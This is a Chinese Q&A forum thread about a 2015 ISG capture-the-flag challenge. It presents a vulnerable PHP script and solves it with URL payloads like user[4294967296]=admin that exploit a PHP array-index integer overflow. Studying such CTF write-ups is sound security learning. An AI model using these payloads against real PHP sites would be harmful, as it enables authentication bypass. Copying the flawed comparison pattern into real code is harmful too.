PHP的信息安全(入侵获取$flag)的题目【Q2】


地址: http://202.120.7.134 :8888/html/array.php

clipboard.png

参加ISG(信息安全大赛)发现的一道题目。
作为一名PHPer,喵的我真心感觉这代码无解啊。。。
求大神解惑,如何给一个user参数,获取到$flag。。。

Update at 2015/20/22
总算通过"邀请回答"找到大神了~
漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】……
可以参照这里:
https://bugs.php.net/bug.php?id=69892

clipboard.png

我觉得这种利用BUG出题的,简直是……

比赛时间已过,果断自己写了下代码:


 <?php

//这里简化一下题目,直接把time定死
$flag = 'ISG{'.time().'}';
$time = '1445502008';//2015/10/22 16:20:8

if(empty($_GET['user']))die(show_source(__FILE__));
$user = array('admin', $time );
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;}

clipboard.png

测试效果:

clipboard.png

clipboard.png

测试地址:
http://moonlordapi.sinaapp.com/1.php

补充,参数可以有好几种方式:
http://moonlordapi.sinaapp.com/1.php?user [4294967296]=admin&user[4294967297]=1445502008
http://moonlordapi.sinaapp.com/1.php?user [4294967296]=admin&user[]=1445502008
http://moonlordapi.sinaapp.com/1.php?user [4294967296]=admin&user[1]=1445502008

就此愉快地结题了。

hack 信息安全 注入 php 入侵

ninme 10 years, 10 months ago

楼上正解。。。。

hugeark answered 10 years, 10 months ago

请教了我安全的大神同学 他说0可以通过整型溢出得到 绕过if判断

矿工郑大世 answered 10 years, 10 months ago

Your Answer